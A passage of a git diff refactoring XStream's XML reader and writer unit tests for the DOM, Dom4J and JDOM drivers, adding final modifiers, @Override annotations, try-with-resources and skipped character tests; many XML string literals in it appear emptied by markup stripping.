qnameMap, String expected) { - // repairing mode fails for BEA's reference implementation in this case - if (!getName().equals("testNamespacedXmlWithPrefixTwice")) + @Override + protected void marshalRepairing(final QNameMap qnameMap, final String expected) { + // repairing mode fails for BEA's reference implementation in these cases + if (!(Arrays + .asList("testNamespacedXmlWithPrefixTwice", "testNamespacedXmlWithSameAlias") + .contains(getName()))) { super.marshalRepairing(qnameMap, expected); + } } -} \ No newline at end of file +} diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/CompactWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/CompactWriterTest.java index 525126321..bfe3f27f4 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/CompactWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/CompactWriterTest.java @@ -1,31 +1,34 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.core.util.QuickWriter; - import java.io.StringWriter; import java.io.Writer; +import com.thoughtworks.xstream.core.util.QuickWriter; + + public class CompactWriterTest extends AbstractXMLWriterTest { private Writer buffer; + @Override protected void setUp() throws Exception { super.setUp(); buffer = new StringWriter(); writer = new CompactWriter(buffer); } - protected void assertXmlProducedIs(String expected) { + @Override + protected void assertXmlProducedIs(final String expected) { assertEquals(expected, buffer.toString()); } @@ -44,7 +47,7 @@ public void testXmlIsIndented() { writer.endNode(); writer.endNode(); - String expected = "potatopotatae"; + final String expected = "potatopotatae"; assertXmlProducedIs(expected); } @@ -53,14 +56,15 @@ public void testEncodesFunnyXmlChars() { writer.setValue("hello & this isn't \"really\" "); writer.endNode(); - String expected = "hello & this isn't "really" <good>"; + final String expected = "hello & this isn't "really" <good>"; assertXmlProducedIs(expected); } public void testWriteTextAsCDATA() { writer = new CompactWriter(buffer) { - protected void writeText(QuickWriter writer, String text) { + @Override + protected void writeText(final QuickWriter writer, final String text) { writer.write(""); @@ -71,7 +75,7 @@ protected void writeText(QuickWriter writer, String text) { writer.setValue("hello & this isn't \"really\" "); writer.endNode(); - String expected = "]]>"; + final String expected = "]]>"; assertXmlProducedIs(expected); } @@ -86,10 +90,7 @@ public void testAttributesCanBeWritten() { writer.endNode(); writer.endNode(); - String expected = "" + - "" + - "hi" + - ""; + final String expected = "" + "" + "hi" + ""; assertXmlProducedIs(expected); } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JReaderTest.java index c957f6c08..1b52f3625 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JReaderTest.java @@ -1,19 +1,16 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2016, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.XStreamException; -import com.thoughtworks.xstream.io.HierarchicalStreamReader; - import java.io.StringReader; import org.dom4j.Document; @@ -21,28 +18,41 @@ import org.dom4j.DocumentHelper; import org.dom4j.Element; +import com.thoughtworks.xstream.XStreamException; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; + + public class Dom4JReaderTest extends AbstractXMLReaderTest { // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { - return new Dom4JDriver().createReader(new StringReader(xml)); + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + final String prefix = getName().endsWith("ISOControlCharactersInValue") ? XML_1_1_HEADER : ""; + return new Dom4JDriver().createReader(new StringReader(prefix + xml)); + } + + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); } public void testCanReadFromElementOfLargerDocument() throws DocumentException { - Document document = DocumentHelper.parseText("" + - "" + - " " + - " " + - " " + - " " + - " " + - ""); - Element small = document.getRootElement().element("small"); + final Document document = DocumentHelper + .parseText("" + + "" + + " " + + " " + + " " + + " " + + " " + + ""); + final Element small = document.getRootElement().element("small"); - HierarchicalStreamReader xmlReader = new Dom4JReader(small); - assertEquals("small", xmlReader.getNodeName()); - xmlReader.moveDown(); - assertEquals("tiny", xmlReader.getNodeName()); + try (final HierarchicalStreamReader xmlReader = new Dom4JReader(small)) { + assertEquals("small", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("tiny", xmlReader.getNodeName()); + } } @Override @@ -71,4 +81,20 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { } } + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML + } + + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JWriterTest.java index f58c043f4..be5c2e587 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JWriterTest.java @@ -1,27 +1,30 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007 XStream Committers. + * Copyright (C) 2006, 2007, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import org.dom4j.Element; +import org.dom4j.Branch; + -public class Dom4JWriterTest extends AbstractDocumentWriterTest { +public class Dom4JWriterTest extends AbstractDocumentWriterTest { + @Override protected void setUp() throws Exception { super.setUp(); writer = new Dom4JWriter(); } - protected DocumentReader createDocumentReaderFor(final Object node) { - return new Dom4JReader((Element)node); + @Override + protected DocumentReader createDocumentReaderFor(final Branch node) { + return new Dom4JReader(node); } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JXmlWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JXmlWriterTest.java index 243a814d6..d23230d81 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JXmlWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/Dom4JXmlWriterTest.java @@ -1,30 +1,32 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; +import java.io.StringWriter; + import org.dom4j.io.OutputFormat; -import java.io.StringWriter; public class Dom4JXmlWriterTest extends AbstractXMLWriterTest { private StringWriter out; + @Override protected void setUp() throws Exception { super.setUp(); - Dom4JDriver driver = new Dom4JDriver(); + final Dom4JDriver driver = new Dom4JDriver(); - OutputFormat format = OutputFormat.createCompactFormat(); + final OutputFormat format = OutputFormat.createCompactFormat(); format.setTrimText(false); format.setSuppressDeclaration(true); driver.setOutputFormat(format); @@ -33,12 +35,13 @@ protected void setUp() throws Exception { writer = driver.createWriter(out); } + @Override protected void assertXmlProducedIs(String expected) { writer.close(); - expected = replaceAll(expected, " ", "\r"); + expected = expected.replace(" ", "\r"); // attributes are not properly escaped - expected = replaceAll(expected, " ", "\n"); - expected = replaceAll(expected, " ", "\t"); + expected = expected.replace(" ", "\n"); + expected = expected.replace(" ", "\t"); assertEquals(expected, out.toString()); } } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/DomReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/DomReaderTest.java index d2eb05988..781976dc2 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/DomReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/DomReaderTest.java @@ -1,87 +1,99 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2016, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 07. March 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.XStreamException; -import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import java.io.ByteArrayInputStream; +import java.io.StringReader; +import java.util.HashMap; +import java.util.Map; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; import org.w3c.dom.Element; -import javax.xml.parsers.DocumentBuilder; -import javax.xml.parsers.DocumentBuilderFactory; +import com.thoughtworks.xstream.XStreamException; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; -import java.io.ByteArrayInputStream; -import java.io.StringReader; -import java.util.HashMap; -import java.util.Map; public class DomReaderTest extends AbstractXMLReaderTest { // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { - return new DomDriver().createReader(new StringReader(xml)); + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { + final String prefix = getName().endsWith("ISOControlCharactersInValue") ? XML_1_1_HEADER : ""; + return new DomDriver().createReader(new StringReader(prefix + xml)); } - private Document buildDocument(String xml) throws Exception { - DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); - DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); - ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); - Document document = documentBuilder.parse(inputStream); + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + + private Document buildDocument(final String xml) throws Exception { + final DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); + final DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); + final ByteArrayInputStream inputStream = new ByteArrayInputStream(xml.getBytes()); + final Document document = documentBuilder.parse(inputStream); return document; } public void testCanReadFromElementOfLargerDocument() throws Exception { - Document document = buildDocument("" + - "" + - " " + - " " + - " " + - " " + - " " + - ""); - Element small = (Element) document.getDocumentElement().getElementsByTagName("small").item(0); - - HierarchicalStreamReader xmlReader = new DomReader(small); - assertEquals("small", xmlReader.getNodeName()); - xmlReader.moveDown(); - assertEquals("tiny", xmlReader.getNodeName()); + final Document document = buildDocument("" + + "" + + " " + + " " + + " " + + " " + + " " + + ""); + final Element small = (Element)document.getDocumentElement().getElementsByTagName("small").item(0); + + try (final HierarchicalStreamReader xmlReader = new DomReader(small)) { + assertEquals("small", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("tiny", xmlReader.getNodeName()); + } } + @Override public void testExposesAttributesKeysAndValuesByIndex() throws Exception { // overrides test in superclass, because DOM does not retain order of actualAttributes. - HierarchicalStreamReader xmlReader = createReader(""); + try (final HierarchicalStreamReader xmlReader = createReader( + "")) { - assertEquals(3, xmlReader.getAttributeCount()); + assertEquals(3, xmlReader.getAttributeCount()); - Map expectedAttributes = new HashMap(); - expectedAttributes.put("hello", "world"); - expectedAttributes.put("a", "b"); - expectedAttributes.put("c", "d"); + final Map expectedAttributes = new HashMap<>(); + expectedAttributes.put("hello", "world"); + expectedAttributes.put("a", "b"); + expectedAttributes.put("c", "d"); - Map actualAttributes = new HashMap(); - for (int i = 0; i < xmlReader.getAttributeCount(); i++) { - String name = xmlReader.getAttributeName(i); - String value = xmlReader.getAttribute(i); - actualAttributes.put(name, value); - } + final Map actualAttributes = new HashMap<>(); + for (int i = 0; i < xmlReader.getAttributeCount(); i++) { + final String name = xmlReader.getAttributeName(i); + final String value = xmlReader.getAttribute(i); + actualAttributes.put(name, value); + } - assertEquals(expectedAttributes, actualAttributes); + assertEquals(expectedAttributes, actualAttributes); - xmlReader.moveDown(); - assertEquals("empty", xmlReader.getNodeName()); - assertEquals(0, xmlReader.getAttributeCount()); + xmlReader.moveDown(); + assertEquals("empty", xmlReader.getNodeName()); + assertEquals(0, xmlReader.getAttributeCount()); + } } @Override @@ -109,4 +121,21 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { } } } + + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML + } + + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/DomWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/DomWriterTest.java index 0435fe153..60c2a85dd 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/DomWriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/DomWriterTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 05. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; @@ -20,10 +20,12 @@ import com.thoughtworks.xstream.io.copy.HierarchicalStreamCopier; import com.thoughtworks.xstream.io.xml.xppdom.XppDom; -public class DomWriterTest extends AbstractDocumentWriterTest { + +public class DomWriterTest extends AbstractDocumentWriterTest { private Document document; + @Override protected void setUp() throws Exception { super.setUp(); final DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); @@ -32,49 +34,52 @@ protected void setUp() throws Exception { writer = new DomWriter(document); } - protected DocumentReader createDocumentReaderFor(final Object node) { - return new DomReader((Element)node); + @Override + protected DocumentReader createDocumentReaderFor(final Element node) { + return new DomReader(node); } // inherits tests from superclass - + public void testCanWriteIntoArbitraryNode() { - Element root = document.createElement("root"); + final Element root = document.createElement("root"); document.appendChild(root); - Element a = document.createElement("a"); + final Element a = document.createElement("a"); root.appendChild(a); writer = new DomWriter(a, document, new XmlFriendlyNameCoder()); - + final XppDom xppRoot = new XppDom("root"); - XppDom xppA = new XppDom("a"); + final XppDom xppA = new XppDom("a"); xppRoot.addChild(xppA); - XppDom xppB = new XppDom("b"); + final XppDom xppB = new XppDom("b"); xppA.addChild(xppB); xppB.setAttribute("attr", "foo"); - + assertDocumentProducedIs(xppA, xppB); - XppDomWriter xppDomWriter = new XppDomWriter(); - new HierarchicalStreamCopier().copy(createDocumentReaderFor(document.getDocumentElement()), xppDomWriter); - assertTrue(equals(xppRoot, xppDomWriter.getConfiguration())); + try (final XppDomWriter xppDomWriter = new XppDomWriter()) { + new HierarchicalStreamCopier().copy(createDocumentReaderFor(document.getDocumentElement()), xppDomWriter); + assertTrue(equals(xppRoot, xppDomWriter.getConfiguration())); + } } public void testCanWriteIntoArbitraryNodeAgain() { - Element root = document.createElement("root"); + final Element root = document.createElement("root"); document.appendChild(root); - Element a = document.createElement("a"); + final Element a = document.createElement("a"); root.appendChild(a); writer = new DomWriter(a); - + final XppDom xppRoot = new XppDom("root"); - XppDom xppA = new XppDom("a"); + final XppDom xppA = new XppDom("a"); xppRoot.addChild(xppA); - XppDom xppB = new XppDom("b"); + final XppDom xppB = new XppDom("b"); xppA.addChild(xppB); xppB.setAttribute("attr", "foo"); - + assertDocumentProducedIs(xppA, xppB); - XppDomWriter xppDomWriter = new XppDomWriter(); - new HierarchicalStreamCopier().copy(createDocumentReaderFor(document.getDocumentElement()), xppDomWriter); - assertTrue(equals(xppRoot, xppDomWriter.getConfiguration())); + try (final XppDomWriter xppDomWriter = new XppDomWriter()) { + new HierarchicalStreamCopier().copy(createDocumentReaderFor(document.getDocumentElement()), xppDomWriter); + assertTrue(equals(xppRoot, xppDomWriter.getConfiguration())); + } } } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2AcceptanceTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2AcceptanceTest.java index 053e28e9a..e8073aeef 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2AcceptanceTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2AcceptanceTest.java @@ -1,21 +1,20 @@ /* - * Copyright (C) 2013, 2014 XStream Committers. + * Copyright (C) 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 24. June 2012 by Joerg Schaible + * + * Created on 24. June 2012 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; import java.io.StringReader; import java.util.List; -import junit.framework.TestCase; - import org.jdom2.Document; +import org.jdom2.Element; import org.jdom2.input.SAXBuilder; import org.jdom2.output.Format; import org.jdom2.output.XMLOutputter; @@ -24,10 +23,14 @@ import com.thoughtworks.acceptance.someobjects.Y; import com.thoughtworks.xstream.XStream; +import junit.framework.TestCase; + + public class JDom2AcceptanceTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); @@ -36,50 +39,49 @@ protected void setUp() throws Exception { } public void testUnmarshalsObjectFromJDOM() throws Exception { - String xml = - "" + - " joe" + - " 8" + - " " + - " walnes" + - " " + - ""; - - Document doc = new SAXBuilder().build(new StringReader(xml)); - - X x = (X) xstream.unmarshal(new JDom2Reader(doc)); - - assertEquals("joe", x.aStr); - assertEquals(8, x.anInt); - assertEquals("walnes", x.innerObj.yField); + final String xml = "" + + " joe" + + " 8" + + " " + + " walnes" + + " " + + ""; + + final Document doc = new SAXBuilder().build(new StringReader(xml)); + + try (final JDom2Reader reader = new JDom2Reader(doc)) { + final X x = xstream.unmarshal(reader); + + assertEquals("joe", x.aStr); + assertEquals(8, x.anInt); + assertEquals("walnes", x.innerObj.yField); + } } public void testMarshalsObjectToJDOM() { - X x = new X(); + final X x = new X(); x.anInt = 9; x.aStr = "zzz"; x.innerObj = new Y(); x.innerObj.yField = "ooo"; - String expected = - "\n" + - " zzz\n" + - " 9\n" + - " \n" + - " ooo\n" + - " \n" + - ""; + final String expected = "\n" + + " zzz\n" + + " 9\n" + + " \n" + + " ooo\n" + + " \n" + + ""; - JDom2Writer writer = new JDom2Writer(); - xstream.marshal(x, writer); - List result = writer.getTopLevelNodes(); + try (final JDom2Writer writer = new JDom2Writer()) { + xstream.marshal(x, writer); + final List result = writer.getTopLevelNodes(); - assertEquals("Result list should contain exactly 1 element", - 1, result.size()); + assertEquals("Result list should contain exactly 1 element", 1, result.size()); - XMLOutputter outputter = new XMLOutputter(Format.getPrettyFormat().setLineSeparator("\n")); + final XMLOutputter outputter = new XMLOutputter(Format.getPrettyFormat().setLineSeparator("\n")); - assertEquals(expected, outputter.outputString(result)); + assertEquals(expected, outputter.outputString(result)); + } } } - diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2ReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2ReaderTest.java index bcebe5c28..aaa77de1a 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2ReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2ReaderTest.java @@ -1,47 +1,60 @@ /* - * Copyright (C) 2013, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2013, 2015, 2016, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 24. June 2012 by Joerg Schaible + * + * Created on 24. June 2012 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.XStreamException; -import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import java.io.StringReader; import org.jdom2.Document; import org.jdom2.Element; import org.jdom2.input.SAXBuilder; -import java.io.StringReader; +import com.thoughtworks.xstream.XStreamException; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; + public class JDom2ReaderTest extends AbstractXMLReaderTest { // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { return new JDom2Driver().createReader(new StringReader(xml)); } + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + + @Override + protected String getSpecialCharsInJavaNamesForXml11() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + public void testCanReadFromElementOfLargerDocument() throws Exception { - String xml ="" + - "" + - " " + - " " + - " " + - " " + - " " + - ""; - Document document = new SAXBuilder().build(new StringReader(xml)); - Element element = document.getRootElement().getChild("small"); - - HierarchicalStreamReader xmlReader = new JDom2Reader(element); - assertEquals("small", xmlReader.getNodeName()); - xmlReader.moveDown(); - assertEquals("tiny", xmlReader.getNodeName()); + final String xml = "" + + "" + + " " + + " " + + " " + + " " + + " " + + ""; + final Document document = new SAXBuilder().build(new StringReader(xml)); + final Element element = document.getRootElement().getChild("small"); + + try (final HierarchicalStreamReader xmlReader = new JDom2Reader(element)) { + assertEquals("small", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("tiny", xmlReader.getNodeName()); + } } @Override @@ -70,6 +83,25 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { } } - // inherits tests from superclass + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testISOControlCharactersInValue() throws Exception { + // not possible, although specified for XML 1.1 + } + + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2WriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2WriterTest.java index 066dd9e44..a710e8f27 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2WriterTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDom2WriterTest.java @@ -1,26 +1,29 @@ /* - * Copyright (C) 2013 XStream Committers. + * Copyright (C) 2013, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * - * Created on 24. June 2012 by Joerg Schaible + * + * Created on 24. June 2012 by Joerg Schaible */ package com.thoughtworks.xstream.io.xml; import org.jdom2.Element; -public class JDom2WriterTest extends AbstractDocumentWriterTest { +public class JDom2WriterTest extends AbstractDocumentWriterTest { + + @Override protected void setUp() throws Exception { super.setUp(); writer = new JDom2Writer(); } - protected DocumentReader createDocumentReaderFor(final Object node) { - return new JDom2Reader((Element)node); + @Override + protected DocumentReader createDocumentReaderFor(final Element node) { + return new JDom2Reader(node); } // inherits tests from superclass diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomAcceptanceTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomAcceptanceTest.java index 32e6a179c..31ebd7f99 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomAcceptanceTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomAcceptanceTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 03. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; @@ -14,9 +14,8 @@ import java.io.StringReader; import java.util.List; -import junit.framework.TestCase; - import org.jdom.Document; +import org.jdom.Element; import org.jdom.input.SAXBuilder; import org.jdom.output.Format; import org.jdom.output.XMLOutputter; @@ -25,10 +24,14 @@ import com.thoughtworks.acceptance.someobjects.Y; import com.thoughtworks.xstream.XStream; +import junit.framework.TestCase; + + public class JDomAcceptanceTest extends TestCase { private XStream xstream; + @Override protected void setUp() throws Exception { super.setUp(); xstream = new XStream(); @@ -37,50 +40,49 @@ protected void setUp() throws Exception { } public void testUnmarshalsObjectFromJDOM() throws Exception { - String xml = - "" + - " joe" + - " 8" + - " " + - " walnes" + - " " + - ""; - - Document doc = new SAXBuilder().build(new StringReader(xml)); - - X x = (X) xstream.unmarshal(new JDomReader(doc)); - - assertEquals("joe", x.aStr); - assertEquals(8, x.anInt); - assertEquals("walnes", x.innerObj.yField); + final String xml = "" + + " joe" + + " 8" + + " " + + " walnes" + + " " + + ""; + + final Document doc = new SAXBuilder().build(new StringReader(xml)); + + try (final JDomReader reader = new JDomReader(doc)) { + final X x = xstream.unmarshal(reader); + + assertEquals("joe", x.aStr); + assertEquals(8, x.anInt); + assertEquals("walnes", x.innerObj.yField); + } } public void testMarshalsObjectToJDOM() { - X x = new X(); + final X x = new X(); x.anInt = 9; x.aStr = "zzz"; x.innerObj = new Y(); x.innerObj.yField = "ooo"; - String expected = - "\n" + - " zzz\n" + - " 9\n" + - " \n" + - " ooo\n" + - " \n" + - ""; + final String expected = "\n" + + " zzz\n" + + " 9\n" + + " \n" + + " ooo\n" + + " \n" + + ""; - JDomWriter writer = new JDomWriter(); - xstream.marshal(x, writer); - List result = writer.getTopLevelNodes(); + try (final JDomWriter writer = new JDomWriter()) { + xstream.marshal(x, writer); + final List result = writer.getTopLevelNodes(); - assertEquals("Result list should contain exactly 1 element", - 1, result.size()); + assertEquals("Result list should contain exactly 1 element", 1, result.size()); - XMLOutputter outputter = new XMLOutputter(Format.getPrettyFormat().setLineSeparator("\n")); + final XMLOutputter outputter = new XMLOutputter(Format.getPrettyFormat().setLineSeparator("\n")); - assertEquals(expected, outputter.outputString(result)); + assertEquals(expected, outputter.outputString(result)); + } } } - diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomReaderTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomReaderTest.java index 5ed386105..29c8fb787 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomReaderTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomReaderTest.java @@ -1,48 +1,61 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2015, 2016, 2017, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 09. September 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import com.thoughtworks.xstream.XStreamException; -import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import java.io.StringReader; import org.jdom.Document; import org.jdom.Element; import org.jdom.input.SAXBuilder; -import java.io.StringReader; +import com.thoughtworks.xstream.XStreamException; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; + public class JDomReaderTest extends AbstractXMLReaderTest { // factory method - protected HierarchicalStreamReader createReader(String xml) throws Exception { + @Override + protected HierarchicalStreamReader createReader(final String xml) throws Exception { return new JDomDriver().createReader(new StringReader(xml)); } + @Override + protected String getSpecialCharsInJavaNamesForXml10() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + + @Override + protected String getSpecialCharsInJavaNamesForXml11() { + return super.getSpecialCharsInJavaNamesForXml10_4th(); + } + public void testCanReadFromElementOfLargerDocument() throws Exception { - String xml ="" + - "" + - " " + - " " + - " " + - " " + - " " + - ""; - Document document = new SAXBuilder().build(new StringReader(xml)); - Element element = document.getRootElement().getChild("small"); - - HierarchicalStreamReader xmlReader = new JDomReader(element); - assertEquals("small", xmlReader.getNodeName()); - xmlReader.moveDown(); - assertEquals("tiny", xmlReader.getNodeName()); + final String xml = "" + + "" + + " " + + " " + + " " + + " " + + " " + + ""; + final Document document = new SAXBuilder().build(new StringReader(xml)); + final Element element = document.getRootElement().getChild("small"); + + try (final HierarchicalStreamReader xmlReader = new JDomReader(element)) { + assertEquals("small", xmlReader.getNodeName()); + xmlReader.moveDown(); + assertEquals("tiny", xmlReader.getNodeName()); + } } @Override @@ -71,6 +84,25 @@ public void testIsXXEVulnerableWithExternalParameterEntity() throws Exception { } } - // inherits tests from superclass + @Override + public void testNullCharacterInValue() throws Exception { + // not possible, null value is invalid in XML + } + + @Override + public void testNonUnicodeCharacterInValue() throws Exception { + // not possible, character is invalid in XML + } + @Override + public void testNonUnicodeCharacterInCDATA() throws Exception { + // not possible, character is invalid in XML + } + + @Override + public void testISOControlCharactersInValue() throws Exception { + // not possible, although specified for XML 1.1 + } + + // inherits tests from superclass } diff --git a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomWriterTest.java b/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomWriterTest.java index ac31ab26e..f42bfa058 100644 --- a/xstream/src/test/com/thoughtworks/xstream/io/xml/JDomWriterTest.java +++ 